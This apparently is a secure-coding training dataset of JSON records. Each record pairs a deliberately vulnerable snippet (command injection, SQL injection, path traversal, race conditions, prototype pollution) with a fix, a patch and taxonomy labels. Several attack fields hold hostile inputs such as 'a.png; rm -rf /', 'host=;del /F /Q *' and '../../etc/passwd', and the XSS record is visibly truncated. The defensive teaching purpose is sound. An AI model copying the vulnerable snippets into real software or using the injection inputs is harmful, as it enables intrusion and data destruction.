{"id": "SCP-000436", "language": "Go", "framework": "Gin", "title": "Race condition on balance", "description": "Transfer handler updates balance without locking.", "owasp": "A04:2021 - Insecure Design", "owasp_api": "API3:2023", "owasp_llm": "", "cwe": "CWE-362", "mitre_attack": "T1190", "severity": "High", "difficulty": "Advanced", "vulnerable_code": "acc.Balance -= amt // concurrent double-spend", "secure_code": "tx := db.Begin(); defer tx.Rollback()\ntx.Model(&acc).Where(\"balance >= ?\", amt).\n Update(\"balance\", gorm.Expr(\"balance - ?\", amt))\ntx.Commit() // atomic", "patch": "--- a/transfer.go\n+++ b/transfer.go\n@@ -1,2 +1,5 @@\n-acc.Balance -= amt\n+tx := db.Begin(); defer tx.Rollback()\n+tx.Model(&acc).Where(\"balance >= ?\", amt).\n+ Update(\"balance\", gorm.Expr(\"balance - ?\", amt))\n+tx.Commit()", "root_cause": "Unlocked shared mutation.", "attack": "Double-spend via concurrent requests.", "impact": "Financial loss.", "fix": "Use DB transactions.", "guideline": "Protect financial state.", "tags": ["race-condition", "fintech", "banking", "concurrency"], "metadata": {"auth_required": true, "domain": "Banking", "input_source": "request_body"}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000429", "language": "YAML", "framework": "Kubernetes", "title": "RBAC cluster-admin binding", "description": "A ServiceAccount is bound to cluster-admin.", "owasp": "A01:2021 - Broken Access Control", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-269", "mitre_attack": "T1078 - Valid Accounts", "severity": "Critical", "difficulty": "Intermediate", "vulnerable_code": "kind: ClusterRoleBinding\\nsubjects:\\n- kind: ServiceAccount\\n name: app\\nroleRef:\\n kind: ClusterRole\\n name: cluster-admin # Vulnerable\\", "secure_code": "kind: RoleBinding\\n# bind only the verbs needed in the namespace\\nroleRef:\\n kind: Role\\n name: app-role # Secure: least privilege\\", "patch": "--- a/rbac.yaml\\n+++ b/rbac.yaml\\n@@ -1,8 +1,5 @@\\n-kind: ClusterRoleBinding\\nsubjects:\\n- kind: ServiceAccount\\n name: app\\n-roleRef:\\n kind: ClusterRole\\n name: cluster-admin\\n+kind: RoleBinding\\n+roleRef:\\n+ kind: Role\\n+ name: app-role\\", "root_cause": "Over-privileged RBAC.", "attack": "SA abused for cluster control.", "impact": "Cluster compromise.", "fix": "Least-privilege RBAC.", "guideline": "Minimize RBAC scope.", "tags": ["kubernetes", "yaml", "rbac", "privilege"], "metadata": {"domain": "Kubernetes", "input_source": "manifest", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000052", "language": "Ruby", "framework": "Rails", "title": "Mass assignment via update_attributes", "description": "A Rails action updates a model from the whole params hash, allowing role escalation.", "owasp": "A04:2021 - Insecure Design", "owasp_api": "API3:2023 - Broken Object Property Level Authorization", "owasp_llm": "", "cwe": "CWE-915", "mitre_attack": "T1190 - Exploit Public-Facing Application", "severity": "High", "difficulty": "Beginner", "vulnerable_code": "def update\n @user = User.find(params[:id])\n # Vulnerable: mass assignment of all params\n @user.update_attributes(params[:user])\nend\n", "secure_code": "def update\n @user = User.find(params[:id])\n # Secure: permit only intended fields\n @user.update(user_params)\nend\n\nprivate\n\ndef user_params\n params.require(:user).permit(:display_name, :bio, :avatar_url)\nend\n", "patch": "--- a/app/controllers/users_controller.rb\n+++ b/app/controllers/users_controller.rb\n@@ -3,4 +3,10 @@\n- @user.update_attributes(params[:user])\n+ @user.update(user_params)\n+private\n+def user_params\n+ params.require(:user).permit(:display_name, :bio, :avatar_url)\n+end\n", "root_cause": "All request fields are bound to the model, including admin-only attributes like role.", "attack": "POST user[role]=admin escalates privileges.", "impact": "Privilege escalation.", "fix": "Use strong parameters to allowlist assignable fields.", "guideline": "Always use strong parameters; never update from raw params.", "tags": ["mass-assignment", "rails", "ruby", "auth"], "metadata": {"domain": "E-commerce", "input_source": "request_body", "auth_required": true}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000459", "language": "JavaScript", "framework": "Express", "title": "No authorization on admin route", "description": "Express admin route lacks role middleware.", "owasp": "A01:2021 - Broken Access Control", "owasp_api": "API1:2023 - BOLA", "owasp_llm": "", "cwe": "CWE-862", "mitre_attack": "T1190", "severity": "Critical", "difficulty": "Intermediate", "vulnerable_code": "app.delete(\"/admin/user/:id\", (req, res) =>\n repo.remove(req.params.id));", "secure_code": "app.delete(\"/admin/user/:id\", requireAdmin, (req, res) =>\n repo.remove(req.params.id));", "patch": "--- a/admin.js\n+++ b/admin.js\n@@ -1,3 +1,3 @@\n-app.delete(\"/admin/user/:id\", (req, res) =>\n- repo.remove(req.params.id));\n+app.delete(\"/admin/user/:id\", requireAdmin, (req, res) =>\n+ repo.remove(req.params.id));", "root_cause": "No role middleware.", "attack": "Any user deletes accounts.", "impact": "Privilege escalation.", "fix": "Add role middleware.", "guideline": "Enforce admin authz.", "tags": ["authorization", "express", "node", "broken-access-control"], "metadata": {"auth_required": true, "domain": "Authentication systems", "input_source": "path_param"}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000417", "language": "YAML", "framework": "Kubernetes", "title": "Container running as root", "description": "A Pod does not set runAsNonRoot / runAsUser.", "owasp": "A05:2021 - Security Misconfiguration", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-250", "mitre_attack": "T1611 - Escape to Host", "severity": "High", "difficulty": "Beginner", "vulnerable_code": "securityContext: {} # Vulnerable: runs as root (uid 0)\\", "secure_code": "securityContext:\\n runAsNonRoot: true\\n runAsUser: 1000\\n runAsGroup: 3000 # Secure\\", "patch": "--- a/deploy.yaml\\n+++ b/deploy.yaml\\n@@ -1,2 +1,5 @@\\n-securityContext: {}\\n+securityContext:\\n+ runAsNonRoot: true\\n+ runAsUser: 1000\\n+ runAsGroup: 3000\\", "root_cause": "Root container.", "attack": "Root in container eases escape.", "impact": "Host compromise.", "fix": "runAsNonRoot.", "guideline": "Non-root containers.", "tags": ["kubernetes", "yaml", "privilege", "container"], "metadata": {"domain": "Kubernetes", "input_source": "manifest", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000149", "language": "Python", "framework": "FastAPI", "title": "MCP tool lacks input validation (excessive agency)", "description": "A Model Context Protocol tool accepts free-form shell params from the agent without validation.", "owasp": "A01:2021 - Broken Access Control", "owasp_api": "API1:2023 - Broken Object Level Authorization", "owasp_llm": "LLM06:2025 - Excessive Agency", "cwe": "CWE-20", "mitre_attack": "T1059 - Command and Scripting Interpreter", "severity": "High", "difficulty": "Advanced", "vulnerable_code": "@mcp.tool()\ndef run_query(sql: str) -> str:\n # Vulnerable: agent-supplied SQL run as admin\n return db.admin_execute(sql)", "secure_code": "@mcp.tool()\n@requires_permission('db:readonly')\ndef run_query(sql: str, ctx: AuthCtx) -> str:\n if not _is_select(sql): raise ValueError('only SELECT') # Secure\n return db.readonly_execute(sql, tenant=ctx.tenant)", "patch": "--- a/mcp_tools.py\n+++ b/mcp_tools.py\n@@ -1,4 +1,6 @@\n-@mcp.tool()\ndef run_query(sql: str) -> str:\n- return db.admin_execute(sql)\n+@mcp.tool()\n+@requires_permission('db:readonly')\ndef run_query(sql: str, ctx: AuthCtx) -> str:\n+ if not _is_select(sql): raise ValueError('only SELECT')\n+ return db.readonly_execute(sql, tenant=ctx.tenant)", "root_cause": "Agent tool runs arbitrary SQL as admin with no validation or scoping.", "attack": "A prompt-injected agent issues DROP TABLE via the tool.", "impact": "Mass data loss via excessive agency.", "fix": "Validate SQL (SELECT-only), scope by tenant, require permission.", "guideline": "Constrain agent tools; validate and scope; require permissions.", "tags": ["mcp", "excessive-agency", "fastapi", "llm"], "metadata": {"domain": "Microservices", "input_source": "agent", "auth_required": true}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000117", "language": "PHP", "framework": "Laravel", "title": "SQL injection via raw query", "description": "A Laravel controller uses a raw DB statement with interpolated input.", "owasp": "A03:2021 - Injection", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-89", "mitre_attack": "T1190 - Exploit Public-Facing Application", "severity": "High", "difficulty": "Intermediate", "vulnerable_code": "public function search(Request $r) {\n $q = $r->input('q');\n // Vulnerable\n return DB::select(\"SELECT * FROM users WHERE name = '$q'\");\n}", "secure_code": "public function search(Request $r) {\n $q = $r->input('q');\n // Secure: bindings\n return DB::select('SELECT * FROM users WHERE name = ?', [$q]);\n}", "patch": "--- a/SearchController.php\n+++ b/SearchController.php\n@@ -2,5 +2,5 @@\n- return DB::select(\"SELECT * FROM users WHERE name = '$q'\");\n+ return DB::select('SELECT * FROM users WHERE name = ?', [$q]);", "root_cause": "Raw SQL with concatenation.", "attack": "q=' OR '1'='1 dumps rows.", "impact": "Data disclosure.", "fix": "Use parameter bindings.", "guideline": "Bind all params in raw queries.", "tags": ["sqli", "laravel", "php", "injection"], "metadata": {"domain": "E-commerce", "input_source": "request_body", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000349", "language": "PHP", "framework": "Laravel", "title": "Missing authorization on admin route", "description": "An admin route has no middleware check.", "owasp": "A01:2021 - Broken Access Control", "owasp_api": "API1:2023 - Broken Object Level Authorization", "owasp_llm": "", "cwe": "CWE-862", "mitre_attack": "T1190 - Exploit Public-Facing Application", "severity": "Critical", "difficulty": "Intermediate", "vulnerable_code": "Route::delete(\"/admin/user/{id}\", [Admin::class, \"delete\"]); // Vulnerable: no middleware\\", "secure_code": "Route::delete(\"/admin/user/{id}\", [Admin::class, \"delete\"])->middleware(\"can:admin\"); // Secure\\", "patch": "--- a/routes/web.php\\n+++ b/routes/web.php\\n@@ -1,2 +1,2 @@\\n-Route::delete(\"/admin/user/{id}\", [Admin::class, \"delete\"]);\\n+Route::delete(\"/admin/user/{id}\", [Admin::class, \"delete\"])->middleware(\"can:admin\");\\", "root_cause": "No authz middleware.", "attack": "Any user deletes accounts.", "impact": "Privilege escalation.", "fix": "Add middleware.", "guideline": "Enforce admin authz.", "tags": ["authorization", "php", "laravel", "broken-access-control"], "metadata": {"domain": "Authentication systems", "input_source": "path_param", "auth_required": true}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000024", "language": "Go", "framework": "Gin", "title": "Insecure file upload (no type/size check)", "description": "A Gin upload handler writes the file to disk using the client filename with no validation.", "owasp": "A04:2021 - Insecure Design", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-434", "mitre_attack": "T1190 - Exploit Public-Facing Application", "severity": "High", "difficulty": "Intermediate", "vulnerable_code": "func upload(c *gin.Context) {\n f, _ := c.FormFile(\"file\")\n // Vulnerable: trusts client filename, no size/type check\n c.SaveUploadedFile(f, \"/uploads/\" + f.Filename)\n c.JSON(200, gin.H{\"saved\": f.Filename})\n}\n", "secure_code": "const maxBytes = 5 << 20\nfunc upload(c *gin.Context) {\n f, err := c.FormFile(\"file\")\n if err != nil { c.Status(400); return }\n if f.Size > maxBytes { c.Status(413); return }\n // Secure: generate safe name, restrict extension, store outside webroot\n if !strings.HasSuffix(f.Filename, \".png\") { c.Status(415); return }\n name := filepath.Join(\"/safe/uploads\", uuid.NewString()+\".png\")\n c.SaveUploadedFile(f, name)\n c.JSON(200, gin.H{\"saved\": filepath.Base(name)})\n}\n", "patch": "--- a/upload.go\n+++ b/upload.go\n@@ -1,6 +1,11 @@\n+const maxBytes = 5 << 20\n- c.SaveUploadedFile(f, \"/uploads/\" + f.Filename)\n+ if f.Size > maxBytes || !strings.HasSuffix(f.Filename, \".png\") { c.Status(400); return }\n+ name := filepath.Join(\"/safe/uploads\", uuid.NewString()+\".png\")\n+ c.SaveUploadedFile(f, name)\n", "root_cause": "Uploads accept arbitrary names/types/sizes, enabling overwrite, webshell drop, or disk exhaustion.", "attack": "Upload shell.php with a crafted multipart name, then request it to achieve RCE.", "impact": "RCE, storage exhaustion, or overwrite of existing files.", "fix": "Validate size, MIME/extension allowlist, generate random server-side names, store outside webroot.", "guideline": "Allowlist types, cap size, randomize names, serve uploads with no execution context.", "tags": ["file-upload", "gin", "go", "rce"], "metadata": {"domain": "E-commerce", "input_source": "form_field", "auth_required": true}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000036", "language": "Rust", "framework": "Actix", "title": "Command injection via shell string", "description": "A Rust service builds a shell command from user input and runs it via sh -c.", "owasp": "A03:2021 - Injection", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-78", "mitre_attack": "T1059.004 - Command and Scripting Interpreter: Unix Shell", "severity": "Critical", "difficulty": "Intermediate", "vulnerable_code": "use std::process::Command;\nfn convert(input: &str) -> String {\n // Vulnerable: input interpolated into shell\n let out = Command::new(\"sh\")\n .arg(\"-c\")\n .arg(format!(\"convert {} out.png\", input))\n .output()\n .unwrap();\n String::from_utf8_lossy(&out.stdout).into_owned()\n}\n", "secure_code": "use std::process::Command;\nfn convert(input: &str) -> std::io::Result {\n // Secure: no shell, pass args as separate vector elements\n let out = Command::new(\"convert\")\n .arg(input)\n .arg(\"out.png\")\n .output()?;\n Ok(String::from_utf8_lossy(&out.stdout).into_owned())\n}\n", "patch": "--- a/convert.rs\n+++ b/convert.rs\n@@ -2,8 +2,7 @@\n- let out = Command::new(\"sh\").arg(\"-c\")\n- .arg(format!(\"convert {} out.png\", input)).output().unwrap();\n+ let out = Command::new(\"convert\").arg(input).arg(\"out.png\").output()?;\n", "root_cause": "User input is passed to a shell via string interpolation, allowing metacharacter injection.", "attack": "input = a.png; rm -rf / executes arbitrary commands on the host.", "impact": "Remote code execution.", "fix": "Avoid shells; pass arguments as a vector and validate inputs.", "guideline": "Use argument vectors, never sh -c with untrusted data; validate inputs.", "tags": ["command-injection", "rust", "actix", "rce"], "metadata": {"domain": "Serverless", "input_source": "request_body", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000371", "language": "Rust", "framework": "Actix", "title": "XSS via raw HTML response", "description": "An Actix handler returns user input as text/html without escaping.", "owasp": "A03:2021 - Injection", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-79", "mitre_attack": "T1059.007 - Command and Scripting Interpreter: JavaScript", "severity": "Medium", "difficulty": "Beginner", "vulnerable_code": "HttpResponse::Ok().content_type(\"text/html\").body(format!(\"{}
\", comment)) // Vulnerable\\", "secure_code": "let esc = html_escape::encode_text(&comment); // Secure: escape\\nHttpResponse::Ok().content_type(\"text/html\").body(format!(\"{}
\", esc))\\", "patch": "--- a/post.rs\\n+++ b/post.rs\\n@@ -1,3 +1,4 @@\\n-HttpResponse::Ok().content_type(\"text/html\").body(format!(\"{}
\", comment))\\n+let esc = html_escape::encode_text(&comment);\\n+HttpResponse::Ok().content_type(\"text/html\").body(format!(\"{}
\", esc))\\", "root_cause": "Unescaped HTML in body.", "attack": "comment= runs.", "impact": "XSS.", "fix": "Escape output.", "guideline": "Escape user HTML.", "tags": ["xss", "rust", "actix", "template"], "metadata": {"domain": "E-commerce", "input_source": "db", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}
{"id": "SCP-000099", "language": "YAML", "framework": "Kubernetes", "title": "Image pulled from unpinned tag (latest)", "description": "A Deployment references an image by mutable :latest tag, enabling supply-chain drift.", "owasp": "A08:2021 - Software and Data Integrity Failures", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-494", "mitre_attack": "T1195.001 - Supply Chain Compromise: Compromise Software Dependencies", "severity": "High", "difficulty": "Beginner", "vulnerable_code": "spec:\n containers:\n - name: app\n image: registry/app:latest # Vulnerable: mutable tag\n", "secure_code": "spec:\n containers:\n - name: app\n image: registry/app@sha256:9f86d0818... # Secure: digest-pinned\n imagePullPolicy: IfNotPresent\n", "patch": "--- a/deploy.yaml\n+++ b/deploy.yaml\n@@ -3,4 +3,5 @@\n- image: registry/app:latest\n+ image: registry/app@sha256:9f86d0818...\n+ imagePullPolicy: IfNotPresent\n", "root_cause": "Mutable image tags let an attacker-controlled rebuild run as the same deployment.", "attack": "Attacker pushes a malicious :latest; the next rollout runs it.", "impact": "Supply-chain compromise of workloads.", "fix": "Pin images by immutable digest and verify signatures (cosign).", "guideline": "Pin images by sha256 digest; sign and verify with cosign.", "tags": ["kubernetes", "supply-chain", "yaml", "image"], "metadata": {"domain": "Microservices", "input_source": "manifest", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000306", "language": "Go", "framework": "Gin", "title": "SQL injection in raw query", "description": "A Gin handler builds a SQL query by string formatting.", "owasp": "A03:2021 - Injection", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-89", "mitre_attack": "T1190 - Exploit Public-Facing Application", "severity": "High", "difficulty": "Intermediate", "vulnerable_code": "q := fmt.Sprintf(\"SELECT * FROM u WHERE name = '%s'\", name)\nrows, _ := db.Query(q) // Vulnerable", "secure_code": "rows, _ := db.Query(\"SELECT * FROM u WHERE name = $1\", name) // Secure: bound", "patch": "--- a/handler.go\n+++ b/handler.go\n@@ -1,3 +1,2 @@\n-q := fmt.Sprintf(\"SELECT * FROM u WHERE name = '%s'\", name)\n-rows, _ := db.Query(q)\n+rows, _ := db.Query(\"SELECT * FROM u WHERE name = $1\", name)", "root_cause": "String formatting into SQL.", "attack": "name=' OR 1=1 dumps rows.", "impact": "Data disclosure.", "fix": "Use bound parameters.", "guideline": "Bind all SQL params.", "tags": ["sqli", "go", "gin", "injection"], "metadata": {"domain": "E-commerce", "input_source": "query_param", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000186", "language": "JavaScript", "framework": "GraphQL", "title": "GraphQL depth bombing (DoS)", "description": "A GraphQL server has no query depth limit, allowing nested queries that exhaust CPU.", "owasp": "A04:2021 - Insecure Design", "owasp_api": "API4:2023 - Unrestricted Resource Consumption", "owasp_llm": "", "cwe": "CWE-770", "mitre_attack": "T1499 - Endpoint Denial of Service", "severity": "Medium", "difficulty": "Intermediate", "vulnerable_code": "const server = new ApolloServer({ typeDefs, resolvers }); // Vulnerable: no depth limit", "secure_code": "import { createComplexityLimitRule } from 'graphql-validation-complexity';\nconst server = new ApolloServer({\n typeDefs, resolvers,\n validationRules: [createComplexityLimitRule(1000)] // Secure\n});", "patch": "--- a/graphql/server.js\n+++ b/graphql/server.js\n@@ -1,2 +1,5 @@\n-const server = new ApolloServer({ typeDefs, resolvers });\n+import { createComplexityLimitRule } from 'graphql-validation-complexity';\n+const server = new ApolloServer({\n+ typeDefs, resolvers,\n+ validationRules: [createComplexityLimitRule(1000)]\n+});", "root_cause": "No depth/complexity limit lets attackers craft expensive queries.", "attack": "Deeply nested query consumes all CPU.", "impact": "Denial of service.", "fix": "Enforce query depth/complexity limits.", "guideline": "Limit GraphQL query depth/complexity.", "tags": ["graphql", "dos", "javascript", "resource-exhaustion"], "metadata": {"domain": "REST API", "input_source": "query", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}
{"id": "SCP-000327", "language": "C#", "framework": "ASP.NET Core", "title": "Command injection via Process.Start", "description": "A controller runs a shell command with user input.", "owasp": "A03:2021 - Injection", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-78", "mitre_attack": "T1059 - Command and Scripting Interpreter", "severity": "High", "difficulty": "Intermediate", "vulnerable_code": "Process.Start(\"cmd.exe\", \"/c ping \" + host); // Vulnerable: shell\\", "secure_code": "if (!Regex.IsMatch(host, @\"^[\\w.-]+$\")) return BadRequest();\\nProcess.Start(\"ping\", \"-c1 \" + host); // Secure: validate + arg\\", "patch": "--- a/PingController.cs\\n+++ b/PingController.cs\\n@@ -1,3 +1,4 @@\\n-Process.Start(\"cmd.exe\", \"/c ping \" + host);\\n+if (!Regex.IsMatch(host, @\"^[\\w.-]+$\")) return BadRequest();\\n+Process.Start(\"ping\", \"-c1 \" + host);\\", "root_cause": "Shell string with user input.", "attack": "host=;del /F /Q * executes.", "impact": "Command injection.", "fix": "Validate + arg array.", "guideline": "Avoid shell interpolation.", "tags": ["command-injection", "csharp", "aspnet", "rce"], "metadata": {"domain": "IoT", "input_source": "query_param", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000332", "language": "C#", "framework": "ASP.NET Core", "title": "No rate limit on login", "description": "A login action has no throttling.", "owasp": "A07:2021 - Identification and Authentication Failures", "owasp_api": "API4:2023 - Unrestricted Resource Consumption", "owasp_llm": "", "cwe": "CWE-307", "mitre_attack": "T1110 - Brute Force", "severity": "Medium", "difficulty": "Beginner", "vulnerable_code": "[HttpPost(\"login\")]\\npublic IActionResult Login(Login m) { return Ok(auth(m)); } // Vulnerable: no throttle\\", "secure_code": "[HttpPost(\"login\")]\\n[EnableRateLimiting(\"login\")] // Secure\\npublic IActionResult Login(Login m) { return Ok(auth(m)); }\\", "patch": "--- a/AuthController.cs\\n+++ b/AuthController.cs\\n@@ -1,4 +1,5 @@\\n+[EnableRateLimiting(\"login\")]\\n [HttpPost(\"login\")]\\n public IActionResult Login(Login m) { return Ok(auth(m)); }\\", "root_cause": "No throttle on auth.", "attack": "Brute force credentials.", "impact": "Account takeover.", "fix": "Rate limit login.", "guideline": "Throttle auth endpoints.", "tags": ["rate-limiting", "csharp", "aspnet", "auth"], "metadata": {"domain": "Authentication systems", "input_source": "request_body", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}
{"id": "SCP-000151", "language": "Python", "framework": "Flask", "title": "Header injection via Set-Cookie CRLF", "description": "A Flask route sets a cookie value from input without CRLF sanitization.", "owasp": "A03:2021 - Injection", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-93", "mitre_attack": "T1190 - Exploit Public-Facing Application", "severity": "Medium", "difficulty": "Intermediate", "vulnerable_code": "@app.route('/set')\ndef set_c():\n theme = request.args.get('theme','light')\n resp = make_response('ok')\n resp.set_cookie('theme', theme) # Vulnerable if theme has CRLF\n return resp", "secure_code": "@app.route('/set')\ndef set_c():\n theme = request.args.get('theme','light')\n if not re.fullmatch(r'[a-z]+', theme or ''): theme='light' # Secure\n resp = make_response('ok')\n resp.set_cookie('theme', theme)\n return resp", "patch": "--- a/cookie.py\n+++ b/cookie.py\n@@ -3,5 +3,6 @@\n- resp.set_cookie('theme', theme)\n+ if not re.fullmatch(r'[a-z]+', theme or ''): theme='light'\n+ resp.set_cookie('theme', theme)", "root_cause": "Cookie value from input may contain CRLF, injecting headers.", "attack": "theme=light%0d%0aSet-Cookie:admin=1 injects a header.", "impact": "Header injection, response splitting.", "fix": "Validate cookie values; strip CRLF.", "guideline": "Validate header/cookie values; strip CRLF.", "tags": ["header-injection", "flask", "python", "crlf"], "metadata": {"domain": "REST API", "input_source": "query_param", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"}
{"id": "SCP-000293", "language": "Scala", "framework": "Akka HTTP", "title": "Path traversal in static route", "description": "An Akka HTTP route serves files from a user path.", "owasp": "A01:2021 - Broken Access Control", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-22", "mitre_attack": "T1190 - Exploit Public-Facing Application", "severity": "High", "difficulty": "Intermediate", "vulnerable_code": "path(\"files\" / Segment) { name =>\n getFromFile(\"/data/\" + name) // Vulnerable: traversal\n}", "secure_code": "path(\"files\" / Segment) { name =>\n val safe = Paths.get(\"/data\").resolve(name).normalize()\n if (!safe.startsWith(Paths.get(\"/data\"))) reject else getFromFile(safe.toFile) // Secure\n}", "patch": "--- a/StaticRoutes.scala\n+++ b/StaticRoutes.scala\n@@ -1,3 +1,5 @@\n- getFromFile(\"/data/\" + name)\n+ val safe = Paths.get(\"/data\").resolve(name).normalize()\n+ if (!safe.startsWith(Paths.get(\"/data\"))) reject\n+ else getFromFile(safe.toFile)", "root_cause": "Unsanitized filename.", "attack": "name=../../etc/passwd reads file.", "impact": "File disclosure.", "fix": "Confine to base dir.", "guideline": "Confine file paths.", "tags": ["path-traversal", "scala", "akka", "file-read"], "metadata": {"domain": "Backend", "input_source": "path_param", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000041", "language": "JavaScript", "framework": "Express", "title": "Prototype pollution via deep merge", "description": "An Express route deep-merges user JSON into a config object, allowing prototype pollution.", "owasp": "A03:2021 - Injection", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-1321", "mitre_attack": "T1190 - Exploit Public-Facing Application", "severity": "High", "difficulty": "Advanced", "vulnerable_code": "function deepMerge(target, src) {\n for (const k in src) {\n if (typeof src[k] === 'object') target[k] = deepMerge(target[k]||{}, src[k]);\n else target[k] = src[k];\n }\n return target;\n}\napp.post('/config', (req,res)=>{ config = deepMerge(config, req.body); res.json(config); });\n", "secure_code": "function deepMerge(target, src) {\n for (const k of Object.keys(src)) {\n if (k === '__proto__' || k === 'constructor' || k === 'prototype') continue;\n if (src[k] && typeof src[k] === 'object' && !Array.isArray(src[k])) {\n target[k] = deepMerge(target[k] || {}, src[k]);\n } else target[k] = src[k];\n }\n return target;\n}\napp.post('/config', (req,res)=>{ config = deepMerge(config, req.body); res.json(config); });\n", "patch": "--- a/merge.js\n+++ b/merge.js\n@@ -1,7 +1,8 @@\n- for (const k in src) {\n+ for (const k of Object.keys(src)) {\n+ if (k === '__proto__' || k === 'constructor' || k === 'prototype') continue;\n", "root_cause": "Recursive merge copies __proto__ keys, polluting Object.prototype for all objects.", "attack": "Send {\"__proto__\":{\"isAdmin\":true}} to inject properties into every object.", "impact": "Logic bypass, RCE in some frameworks, or DoS.", "fix": "Reject __proto__/constructor/prototype keys; use a vetted merge utility.", "guideline": "Block prototype keys in any recursive merge of untrusted input.", "tags": ["prototype-pollution", "express", "javascript", "injection"], "metadata": {"domain": "Microservices", "input_source": "request_body", "auth_required": true}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000194", "language": "Go", "framework": "gRPC", "title": "gRPC method allows unauthenticated delete", "description": "A gRPC Delete method has no auth interceptor.", "owasp": "A01:2021 - Broken Access Control", "owasp_api": "API1:2023 - Broken Object Level Authorization", "owasp_llm": "", "cwe": "CWE-306", "mitre_attack": "T1190 - Exploit Public-Facing Application", "severity": "Critical", "difficulty": "Intermediate", "vulnerable_code": "func (s *S) Delete(ctx context.Context, r *pb.Id) (*pb.Empty, error) {\n return &pb.Empty{}, s.repo.Delete(r.Id) // Vulnerable\n}", "secure_code": "func (s *S) Delete(ctx context.Context, r *pb.Id) (*pb.Empty, error) {\n if !isAdmin(ctx) { return nil, status.Error(codes.PermissionDenied, \"forbidden\") } // Secure\n return &pb.Empty{}, s.repo.Delete(r.Id)\n}", "patch": "--- a/server.go\n+++ b/server.go\n@@ -1,3 +1,4 @@\n- return &pb.Empty{}, s.repo.Delete(r.Id)\n+ if !isAdmin(ctx) { return nil, status.Error(codes.PermissionDenied, \"forbidden\") }\n+ return &pb.Empty{}, s.repo.Delete(r.Id)", "root_cause": "No auth on destructive method.", "attack": "Unauthenticated delete wipes data.", "impact": "Data loss.", "fix": "Enforce auth in interceptor/method.", "guideline": "Authorize destructive gRPC methods.", "tags": ["grpc", "go", "authorization", "broken-access-control"], "metadata": {"domain": "Microservices", "input_source": "rpc", "auth_required": true}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}
{"id": "SCP-000064", "language": "C", "framework": "POSIX", "title": "Integer overflow in allocation size", "description": "A C program multiplies user-controlled counts without overflow checks before malloc.", "owasp": "A03:2021 - Injection", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-190", "mitre_attack": "T1203 - Exploitation for Client Execution", "severity": "High", "difficulty": "Advanced", "vulnerable_code": "#include \nvoid *make(size_t n, size_t sz) {\n // Vulnerable: unchecked multiplication\n return malloc(n * sz);\n}\n", "secure_code": "#include \nvoid *make(size_t n, size_t sz) {\n // Secure: checked multiplication\n size_t total;\n if (__builtin_mul_overflow(n, sz, &total)) return NULL;\n return malloc(total);\n}\n", "patch": "--- a/alloc.c\n+++ b/alloc.c\n@@ -2,4 +2,6 @@\n- return malloc(n * sz);\n+ size_t total;\n+ if (__builtin_mul_overflow(n, sz, &total)) return NULL;\n+ return malloc(total);\n", "root_cause": "Unchecked multiplication can wrap, allocating a tiny buffer for huge input.", "attack": "n*sz wraps to a small value, then out-of-bounds write corrupts heap.", "impact": "Heap overflow, potential code execution.", "fix": "Use checked arithmetic (e.g. __builtin_mul_overflow) before allocating.", "guideline": "Check integer operations before using them as allocation sizes.", "tags": ["integer-overflow", "c", "memory-safety"], "metadata": {"domain": "IoT", "input_source": "argv", "auth_required": false}, "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}
